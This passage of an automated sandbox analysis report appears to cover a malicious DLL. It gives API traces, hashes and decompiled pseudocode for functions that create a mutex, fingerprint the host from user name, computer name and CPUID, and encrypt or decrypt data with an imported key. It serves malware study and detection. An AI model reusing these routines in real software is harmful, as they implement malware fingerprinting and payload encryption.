                                            • Associated: 00000002.00000002.411641780.0000000000482000.00000008.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411700271.0000000000490000.00000004.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411704713.0000000000497000.00000004.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411708587.0000000000498000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_2_2_400000_loaddll32.jbxd
                                            Similarity
                                            • API ID: BinaryType
                                            • String ID:
                                            • API String ID: 3726996659-0
                                            • Opcode ID: 0d8183f7bc2a03e09b861609ac5344eb6a7f23cfc13e173dd0e82fd06fead202
                                            • Instruction ID: 0eeef9b5ff0b6f189b2643ab8443012d5bbcf05fbf81118edcc849a7d612c21c
                                            • Opcode Fuzzy Hash: 0d8183f7bc2a03e09b861609ac5344eb6a7f23cfc13e173dd0e82fd06fead202
                                            • Instruction Fuzzy Hash: 5F310AB4D043188BDB24DF64C8847ADBBB0AF55304F6081FAD819672E1D3799AC6DB4A
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 00401700 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 20 401700-40172c GetNLSVersion 21 401731-401736 20->21 22 401747-40174e 21->22 23 401738 21->23 24 40173f-401746 22->24 23->24
                                            C-Code - Quality: 37%
                                            			E00401700() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _t7;
				intOrPtr _t9;
				intOrPtr* _t13;

				_t7 = _t13;
				 *((intOrPtr*)(_t7 + 8)) = 0;
				 *((intOrPtr*)(_t7 + 4)) = 0;
				 *_t7 = 0;
				_t9 =  *__imp__GetNLSVersion(); // executed
				_v12 = _t9;
				if(GetLastError() != 0x57) {
					_v8 = 1;
				} else {
					_v8 = 0;
				}
				return _v8;
			}








                                            0x00401706
                                            0x00401708
                                            0x0040170f
                                            0x00401716
                                            0x00401721
                                            0x0040172c
                                            0x00401736
                                            0x00401747
                                            0x00401738
                                            0x00401738
                                            0x00401738
                                            0x00401746

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000002.00000002.411433293.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000002.00000002.411423840.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411496910.000000000042A000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411502938.000000000042D000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411508958.0000000000432000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411523928.0000000000435000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411540294.000000000043E000.00000020.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411555558.0000000000441000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411621324.0000000000480000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411641780.0000000000482000.00000008.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411700271.0000000000490000.00000004.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411704713.0000000000497000.00000004.00000001.01000000.00000005.sdmpDownload File
                                            • Associated: 00000002.00000002.411708587.0000000000498000.00000002.00000001.01000000.00000005.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_2_2_400000_loaddll32.jbxd
                                            Similarity
                                            • API ID: Version
                                            • String ID:
                                            • API String ID: 1889659487-0
                                            • Opcode ID: 0da74c04d799af1ca03a9938062762a246fb5c330307c100066ee08efe424fb3
                                            • Instruction ID: 3cf9f2388d101d325097f471fc7551e32da9b99bb7f36ef05aa09be99d1535a1
                                            • Opcode Fuzzy Hash: 0da74c04d799af1ca03a9938062762a246fb5c330307c100066ee08efe424fb3
                                            • Instruction Fuzzy Hash: 14E04FB0914204DFDB00EFA8D95975E7BF0AB00308F1580F9D8085B3A1D379DE54EB9A
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Executed Functions

                                            Function 05DE312E Relevance: 37.8, APIs: 25, Instructions: 331memorylibrarynativeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 42 5de312e-5de3177 RtlInitializeCriticalSection call 5de1c01 45 5de319f-5de31a1 42->45 46 5de3179-5de319d memset RtlInitializeCriticalSection 42->46 47 5de31a2-5de31a8 45->47 46->47 48 5de31ae-5de31d2 CreateMutexA GetLastError 47->48 49 5de35aa-5de35b4 47->49 50 5de31ef-5de31f1 48->50 51 5de31d4-5de31d9 48->51 54 5de31f7-5de3202 call 5de1777 50->54 55 5de35a5 50->55 52 5de31ed 51->52 53 5de31db-5de31e8 CloseHandle 51->53 52->50 53->55 56 5de35a9 54->56 59 5de3208-5de3213 call 5de35f7 54->59 55->56 56->49 59->56 62 5de3219-5de322b GetUserNameA 59->62 63 5de324f-5de325f 62->63 64 5de322d-5de3245 RtlAllocateHeap 62->64 66 5de3268-5de3285 NtQueryInformationProcess 63->66 67 5de3261-5de3266 63->67 64->63 65 5de3247-5de324d GetUserNameA 64->65 65->63 69 5de328b-5de329a OpenProcess 66->69 70 5de3287 66->70 67->66 68 5de32af-5de32b9 67->68 73 5de32bb-5de32d7 GetShellWindow GetWindowThreadProcessId 68->73 74 5de32f6-5de32fa 68->74 71 5de329c-5de32a1 GetLastError 69->71 72 5de32a8-5de32a9 CloseHandle 69->72 70->69 71->68 77 5de32a3 71->77 72->68 78 5de32e9-5de32f0 73->78 79 5de32d9-5de32df 73->79 75 5de330f-5de3326 call 5deb669 74->75 76 5de32fc-5de330c memcpy 74->76 86 5de3328-5de332c 75->86 87 5de3333-5de3339 75->87 76->75 82 5de333f-5de337b call 5de7c1e call 5dd6b6a call 5de9c23 77->82 78->74 80 5de32f2 78->80 79->78 83 5de32e1-5de32e7 79->83 80->74 95 5de337d-5de338c CreateEventA call 5ddc6b8 82->95 96 5de3391-5de33a0 call 5de5f92 82->96 83->74 86->87 89 5de332e call 5decb50 86->89 87->56 87->82 89->87 95->96 96->56 100 5de33a6-5de33b9 RtlAllocateHeap 96->100 100->56 101 5de33bf-5de33df OpenEventA 100->101 102 5de3401-5de3403 101->102 103 5de33e1-5de33f0 CreateEventA 101->103 104 5de3404-5de342b call 5de6b34 102->104 103->104 105 5de33f2-5de33fc GetLastError 103->105 108 5de3598-5de359f 104->108 109 5de3431-5de343f 104->109 105->56 108->56 110 5de3445-5de345d call 5df0a02 109->110 111 5de34f1-5de34f7 109->111 110->56 126 5de3463-5de346a 110->126 112 5de34f9-5de34fe call 5de567e call 5dd5fc9 111->112 113 5de3503-5de350a 111->113 112->113 113->55 116 5de3510-5de3515 113->116 119 5de3517-5de351d 116->119 120 5de3571-5de3596 call 5de6b34 116->120 123 5de351f-5de3526 SetEvent 119->123 124 5de352c-5de3542 RtlAllocateHeap 119->124 120->108 130 5de35a1-5de35a2 120->130 123->124 127 5de356e-5de3570 124->127 128 5de3544-5de356b wsprintfA 124->128 131 5de347e-5de3492 LoadLibraryA 126->131 132 5de346c-5de3478 126->132 127->120 128->127 130->55 133 5de3494-5de34bc call 5dd1750 131->133 134 5de34c1-5de34d4 call 5dd4df5 131->134 132->131 133->134 134->56 138 5de34da-5de34e3 134->138 138->113 139 5de34e5-5de34ef call 5dde084 138->139 139->113
                                            APIs
                                            • RtlInitializeCriticalSection.NTDLL(05DF9448), ref: 05DE314C
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • memset.NTDLL ref: 05DE317D
                                            • RtlInitializeCriticalSection.NTDLL(0637C2D0), ref: 05DE318E
                                              • Part of subcall function 05DE1777: RtlInitializeCriticalSection.NTDLL(05DF9420), ref: 05DE179B
                                              • Part of subcall function 05DE1777: RtlInitializeCriticalSection.NTDLL(05DF9400), ref: 05DE17B1
                                              • Part of subcall function 05DE1777: GetVersion.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE17C2
                                              • Part of subcall function 05DE1777: GetModuleHandleA.KERNEL32(00001663,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE17F6
                                              • Part of subcall function 05DE35F7: RtlAllocateHeap.NTDLL(00000000,-00000003,772E9EB0), ref: 05DE3611
                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000060,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE31B7
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE31C8
                                            • CloseHandle.KERNEL32(0000059C,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE31DC
                                            • GetUserNameA.ADVAPI32(00000000,?), ref: 05DE3225
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE3238
                                            • GetUserNameA.ADVAPI32(00000000,?), ref: 05DE324D
                                            • NtQueryInformationProcess.NTDLL(00000000,?,00000018,?), ref: 05DE327D
                                            • OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE3292
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE329C
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE32A9
                                            • GetShellWindow.USER32 ref: 05DE32C4
                                            • GetWindowThreadProcessId.USER32(00000000), ref: 05DE32CB
                                            • memcpy.NTDLL(05DF9314,?,00000018,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE3307
                                            • CreateEventA.KERNEL32(05DF9208,00000001,00000000,00000000,?,00000001,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE3385
                                            • RtlAllocateHeap.NTDLL(00000000,00000018,?), ref: 05DE33AF
                                            • OpenEventA.KERNEL32(00100000,00000000,0637B9C8,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE33D7
                                            • CreateEventA.KERNEL32(05DF9208,00000001,00000000,0637B9C8,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE33EC
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE33F2
                                            • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE348A
                                            • SetEvent.KERNEL32(?,05DE9CDB,00000000,00000000,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE3520
                                            • RtlAllocateHeap.NTDLL(00000000,00000043,05DE9CDB), ref: 05DE3535
                                            • wsprintfA.USER32 ref: 05DE3565
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeap$CriticalEventInitializeSection$CreateErrorHandleLastProcess$CloseNameOpenUserWindow$InformationLibraryLoadModuleMutexQueryShellThreadVersionmemcpymemsetwsprintf
                                            • String ID:
                                            • API String ID: 3929413950-0
                                            • Opcode ID: 21d4732bed22897c611f6cdc304f30ac08a4473f4b84a8f75cb5de3914b06d77
                                            • Instruction ID: 1ca71c76744cdd9a0a18bbbafb7fa1fd2c360db3c82b3ab7d9b9ce26f9cc81b9
                                            • Opcode Fuzzy Hash: 21d4732bed22897c611f6cdc304f30ac08a4473f4b84a8f75cb5de3914b06d77
                                            • Instruction Fuzzy Hash: D4C15EB1A15348AFC710EF69E85AA3B7FE9FB85601B014C2FF54687350CB31A545CB62
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3072 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 163encryptionCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 142 4ab3072-4ab30b2 CryptAcquireContextW 143 4ab3209-4ab320f 142->143 144 4ab30b8-4ab30f4 memcpy CryptImportKey 142->144 153 4ab3212-4ab3219 143->153 145 4ab30fa-4ab310c CryptSetKeyParam 144->145 146 4ab31f4-4ab31fa 144->146 147 4ab3112-4ab311b 145->147 148 4ab31e0-4ab31e6 145->148 155 4ab31fd-4ab3207 CryptReleaseContext 146->155 151 4ab311d-4ab311f 147->151 152 4ab3123-4ab3130 call 4ab4df6 147->152 159 4ab31e9-4ab31f2 CryptDestroyKey 148->159 151->152 156 4ab3121 151->156 160 4ab31d7-4ab31de 152->160 161 4ab3136-4ab313f 152->161 155->153 156->152 159->155 160->159 162 4ab3142-4ab314a 161->162 163 4ab314f-4ab316c memcpy 162->163 164 4ab314c 162->164 165 4ab316e-4ab3185 CryptEncrypt 163->165 166 4ab3187-4ab3196 CryptDecrypt 163->166 164->163 167 4ab319c-4ab319e 165->167 166->167 168 4ab31ae-4ab31b9 167->168 169 4ab31a0-4ab31aa 167->169 171 4ab31bb-4ab31cb 168->171 173 4ab31cd-4ab31d5 call 4ab4c73 168->173 169->162 170 4ab31ac 169->170 170->171 171->159 173->159
                                            C-Code - Quality: 58%
                                            			E04AB3072(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				BYTE* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				int _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				BYTE* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x4aba0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x4aba0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x11f
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E04AB4DF6(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 = CryptDecrypt(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x4aba0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 =  &(_t102[_t90]);
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E04AB4C73(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                                            0x04ab307b
                                            0x04ab3081
                                            0x04ab3084
                                            0x04ab308a
                                            0x04ab308a
                                            0x04ab308c
                                            0x04ab308e
                                            0x04ab3091
                                            0x04ab3097
                                            0x04ab3098
                                            0x04ab3099
                                            0x04ab309f
                                            0x04ab30a4
                                            0x04ab30aa
                                            0x04ab30b2
                                            0x04ab320f
                                            0x04ab30b8
                                            0x04ab30ba
                                            0x04ab30c3
                                            0x04ab30c8
                                            0x04ab30da
                                            0x04ab30dd
                                            0x04ab30e1
                                            0x04ab30e8
                                            0x04ab30ec
                                            0x04ab30f4
                                            0x04ab31fa
                                            0x04ab30fa
                                            0x04ab30fa
                                            0x04ab30fe
                                            0x04ab30ff
                                            0x04ab3101
                                            0x04ab310c
                                            0x04ab31e6
                                            0x04ab3112
                                            0x04ab3112
                                            0x04ab3115
                                            0x04ab311b
                                            0x04ab3121
                                            0x04ab3121
                                            0x04ab3129
                                            0x04ab312b
                                            0x04ab3130
                                            0x04ab31d7
                                            0x04ab3136
                                            0x04ab313c
                                            0x04ab313f
                                            0x04ab3142
                                            0x04ab3144
                                            0x04ab3145
                                            0x04ab314a
                                            0x04ab314c
                                            0x04ab314c
                                            0x04ab3156
                                            0x04ab315b
                                            0x04ab315e
                                            0x04ab3161
                                            0x04ab3163
                                            0x04ab316c
                                            0x04ab3196
                                            0x04ab316e
                                            0x04ab317f
                                            0x04ab317f
                                            0x04ab319e
                                            0x00000000
                                            0x00000000
                                            0x04ab31a0
                                            0x04ab31a3
                                            0x04ab31a6
                                            0x04ab31aa
                                            0x00000000
                                            0x04ab31ac
                                            0x04ab31bb
                                            0x04ab31c1
                                            0x04ab31c9
                                            0x04ab31c9
                                            0x00000000
                                            0x04ab31aa
                                            0x04ab31ae
                                            0x04ab31b4
                                            0x04ab31b9
                                            0x04ab31d0
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab31b9
                                            0x04ab3130
                                            0x04ab31e9
                                            0x04ab31ec
                                            0x04ab31ec
                                            0x04ab3201
                                            0x04ab3201
                                            0x04ab3219

                                            APIs
                                            • CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000018,F0000000,?,00000110,04AB58B7), ref: 04AB30AA
                                            • memcpy.NTDLL(?,04AB58B7,00000010,?,?,?,?,?,?,?,?,?,?,04AB564C,00000000,04AB6D90), ref: 04AB30C3
                                            • CryptImportKey.ADVAPI32(00000000,?,0000001C,00000000,00000000,?), ref: 04AB30EC
                                            • CryptSetKeyParam.ADVAPI32(?,00000001,?,00000000), ref: 04AB3104
                                            • memcpy.NTDLL(00000000,04AB6D90,04AB58B7,0000011F), ref: 04AB3156
                                            • CryptEncrypt.ADVAPI32(?,00000000,00000000,00000000,00000000,04AB58B7,00000020,?,?,0000011F), ref: 04AB317F
                                            • CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,00000000,04AB58B7,?,?,0000011F), ref: 04AB3196
                                            • GetLastError.KERNEL32(?,?,0000011F), ref: 04AB31AE
                                            • GetLastError.KERNEL32 ref: 04AB31E0
                                            • CryptDestroyKey.ADVAPI32(?), ref: 04AB31EC
                                            • GetLastError.KERNEL32 ref: 04AB31F4
                                            • CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04AB3201
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,04AB564C,00000000,04AB6D90,04AB58B7,?,04AB58B7), ref: 04AB3209
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDecryptDestroyEncryptImportParamRelease
                                            • String ID: @MvNv
                                            • API String ID: 1967744295-19517777
                                            • Opcode ID: 1f4465ae801d2b114d9d6bf1435ded077a3aa44b12174ace8d71b1d890418d25
                                            • Instruction ID: 8068abab83e8976e1d9bef16a114b7c06840e2f884960713cc7110134685a014
                                            • Opcode Fuzzy Hash: 1f4465ae801d2b114d9d6bf1435ded077a3aa44b12174ace8d71b1d890418d25
                                            • Instruction Fuzzy Hash: 4E513CB1900208BFEF109FA4DC84AEEBBBDEB44340F008425F955E6252E7759E55DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5410 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72filetimeCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            C-Code - Quality: 74%
                                            			E04AB5410(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L04AB81C4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x4aba348; // 0xb6d5a8
				_t5 = _t13 + 0x4abb87e; // 0x5628e26
				_t6 = _t13 + 0x4abb59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L04AB7E2A();
				_t17 = CreateFileMappingW(0xffffffff, 0x4aba34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                                            0x04ab5410
                                            0x04ab5418
                                            0x04ab541c
                                            0x04ab5422
                                            0x04ab5427
                                            0x04ab542c
                                            0x04ab542f
                                            0x04ab5432
                                            0x04ab5437
                                            0x04ab5438
                                            0x04ab543b
                                            0x04ab5440
                                            0x04ab5447
                                            0x04ab5451
                                            0x04ab5453
                                            0x04ab5454
                                            0x04ab5457
                                            0x04ab5473
                                            0x04ab5479
                                            0x04ab547d
                                            0x04ab54cb
                                            0x04ab547f
                                            0x04ab548c
                                            0x04ab549c
                                            0x04ab54a4
                                            0x04ab54b6
                                            0x04ab54ba
                                            0x00000000
                                            0x00000000
                                            0x04ab54a6
                                            0x04ab54a9
                                            0x04ab54ae
                                            0x04ab54b0
                                            0x04ab54b0
                                            0x04ab548e
                                            0x04ab5490
                                            0x04ab54bc
                                            0x04ab54bd
                                            0x04ab54bd
                                            0x04ab548c
                                            0x04ab54d2

                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,04AB2CE0,?,?,4D283A53,?,?), ref: 04AB541C
                                            • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04AB5432
                                            • _snwprintf.NTDLL ref: 04AB5457
                                            • CreateFileMappingW.KERNELBASE(000000FF,04ABA34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 04AB5473
                                            • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04AB2CE0,?,?,4D283A53,?), ref: 04AB5485
                                            • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 04AB549C
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,04AB2CE0,?,?,4D283A53), ref: 04AB54BD
                                            • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,04AB2CE0,?,?,4D283A53,?), ref: 04AB54C5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                                            • String ID: @MvNv
                                            • API String ID: 1814172918-19517777
                                            • Opcode ID: 0e39f6df76f912997d6f9442ecda316c3e5cea0f0787aef183d4dbd721f0d54d
                                            • Instruction ID: 3d0890fd5269cc901ba030f3ef00a5922e5835e3a6318a4372f9d3e516f10e01
                                            • Opcode Fuzzy Hash: 0e39f6df76f912997d6f9442ecda316c3e5cea0f0787aef183d4dbd721f0d54d
                                            • Instruction Fuzzy Hash: D521D5B2A01714BBE711AF68DC05FCE37BEEB89705F144020F649E7192EA74A905CBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB12D3 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 103memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 371 4ab12d3-4ab12e7 372 4ab12e9-4ab12ee 371->372 373 4ab12f1-4ab1303 call 4ab333b 371->373 372->373 376 4ab1357-4ab1364 373->376 377 4ab1305-4ab1315 GetUserNameW 373->377 378 4ab1366-4ab137d GetComputerNameW 376->378 377->378 379 4ab1317-4ab1327 RtlAllocateHeap 377->379 380 4ab13bb-4ab13df 378->380 381 4ab137f-4ab1390 RtlAllocateHeap 378->381 379->378 382 4ab1329-4ab1336 GetUserNameW 379->382 381->380 383 4ab1392-4ab139b GetComputerNameW 381->383 384 4ab1338-4ab1344 call 4ab2087 382->384 385 4ab1346-4ab1355 382->385 386 4ab139d-4ab13a9 call 4ab2087 383->386 387 4ab13ac-4ab13af 383->387 384->385 385->378 386->387 387->380
                                            C-Code - Quality: 96%
                                            			E04AB12D3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x4aba310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04AB333B( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4aba344 ^ 0x46d76429;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4aba2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04AB2087(_v8 + _v8, _t64);
							}
							HeapFree( *0x4aba2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4aba2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04AB2087(_v8 + _v8, _t64);
						}
						HeapFree( *0x4aba2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                                            0x04ab12d3
                                            0x04ab12db
                                            0x04ab12df
                                            0x04ab12e2
                                            0x04ab12e7
                                            0x04ab12e9
                                            0x04ab12ee
                                            0x04ab12ee
                                            0x04ab12f4
                                            0x04ab12f6
                                            0x04ab1303
                                            0x04ab1364
                                            0x04ab1305
                                            0x04ab130a
                                            0x04ab1310
                                            0x04ab1315
                                            0x04ab1323
                                            0x04ab1327
                                            0x04ab1336
                                            0x04ab133d
                                            0x04ab1344
                                            0x04ab1344
                                            0x04ab134f
                                            0x04ab134f
                                            0x04ab1327
                                            0x04ab1315
                                            0x04ab1366
                                            0x04ab136c
                                            0x04ab1376
                                            0x04ab1378
